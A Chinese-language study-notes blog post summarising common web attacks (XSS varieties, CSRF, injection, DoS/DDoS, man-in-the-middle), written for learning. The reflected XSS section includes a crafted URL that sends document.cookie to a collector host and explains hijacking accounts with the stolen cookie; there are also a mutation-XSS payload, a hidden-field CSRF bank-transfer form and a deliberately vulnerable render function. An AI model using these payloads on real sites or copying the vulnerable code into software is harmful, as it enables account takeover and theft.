Web开发安全之旅(攻击篇) | 青训营笔记

85 阅读4分钟

这是我参与「第四届青训营」笔记创作活动的的第6天。

Web攻击

XSS(Cross-Site Scripting)跨域脚本攻击

  • 为什么会造成XSS攻击?
    • 开发者盲目信任用户提交的内容。
    • 若用户提交的信息里带有恶意脚本,则将用户内容转换成DOM在页面上显示时会执行恶意脚本内容,造成XSS攻击。
  • demo:当用户提交的内容中带有XSS攻击,则会渲染到浏览器页面上。
    public async render(ctx){
        const {content} = await db.query({   id:ctx.query.id  })  //请求用户提交的内容
        //content = <script>alert(XSS)</script>
        ctx.body = `<div>${content}</div>`
    }
    
  • 特点:
    • 难以从UI上感知。
    • 窃取用户信息,如cookie或token。
    • 可以绘制UI渲染到页面上骗取用户提交表单。
  • 不同类型的XSS攻击:
  • Stored XSS:
    • 恶意脚本存储在数据库中。当用户访问页面时,恶意脚本渲染在页面上直接攻击用户。危害是最大的,对全部用户都可见。
  • Reflected XSS:
    • 构造诸如以下虚假URL诱使受害用户点击(比如网站上的小广告):
    http://xxx/xx?abc=<script src=“http://127.0.0.1/xss/UYxzH8?1608472710/” + document.cookie;> < /script>
    
    • 在用户点击之后只需通过查看日志即可获得受害用户的cookie。
    • 在获得cookie之后就可以利用抓包工具修改请求包中的cookie,将其替换为受害用户的cookie即可登录受害用户的账号。
    • 而诱使用户点击虚假URL的方式有很多,如钓鱼邮件、特殊的图片或文本等等。
    • 更多参考资料:Web渗透测试之XSS攻击:反射型XSS
  • Dom-based XSS:
    • 特点1:不需要服务器参与。
    • 特点2:恶意攻击发起与执行都在浏览器中完成。
    • DOM型XSS主要是由客户端的脚本通过DOM动态地输出数据到页面,而不是依赖于将数据提交给服务器端,而从客户端获得DOM中的数据在本地执行,因而仅从服务器端是无法防御的。
  • Mutation-based XSS:
    • 利用浏览器DOM特性。
    • 不同浏览器会有区别。
    • 刘宇晨老师上课时的demo:神奇的title
    <noscript><p title = '</noscript><img src = '' onerror = alert(1)>'>
    
    • 这下看出有啥不同了吧。
    <div>
    <noscript><p title = "</noscript>
    <img src = '' onerror = 'alert(1)'>
        "">"
    </div>
    

CSRF(Cross-Site Request Forgery)跨站伪造请求攻击

  • CSRF:在用户不知情的前提下,利用用户权限(cookie),构造指定HTTP请求,窃取或修改用户敏感信息。
  • 刘宇晨老师上课时的demo:
  • 用户收到某个恶意链接,用户点击恶意链接后,该链接获取到了用户的cookie;
  • 恶意链接向银行发送HTTP转账请求,银行可以读取到用户的cookie,故执行转账返回结果给恶意链接。
  • 用户全过程没有访问银行页面!!!
  • Get请求和Post请求都可以,如下例子输入框被隐藏了。
    <form action = "https://bank.." method = 'POST'>  <!-- 封装成表单的样子 -->
        <input name = 'amount' value = "1000000" type = 'hidden'></input>
            <input name = 'to' value = 'hidden'></input>
    </form>
    

Injecttion注入攻击

  • demo:
  • 攻击者向服务器发送的请求中带有恶意注入的SQL参数;
  • 在服务端获取SQL参数后将运行SQL代码,从而获取/修改/删除其他数据。
  • 不局限于SQL,也可以是其他类似的命令行在服务端的操作。

Denial of Service(DoS)

  • 构造某种特定请求,导致服务器资源被显著消耗,来不及响应更多请求,导致请求被挤压,产生雪崩效应。
  • 其目的是使计算机或网络无法提供正常的服务。

Distributed DoS(DDoS)

  • 短时间内,有大量僵尸设备的请求流量,服务器不能及时完成全部请求,导致请求堆积,达成雪崩。
  • 攻击特点:直接访问IP、任意API、消耗大量带宽。

传输层中间人攻击

  • 在浏览器和服务器间插一个中间人,但浏览器和服务器都以为在和各自交互。
  • 中间人可以窃取信息并返回结果。
  • 中间人可以是:恶意浏览器,路由器,服务提供供应商。
  • 中间人为什么能发起攻击?
  • 所有传输为明文传输,大家都可以看得见;
  • 信息被篡改时服务器和浏览器都不知道;
  • 服务器和浏览器并没有对对方身份进行验证。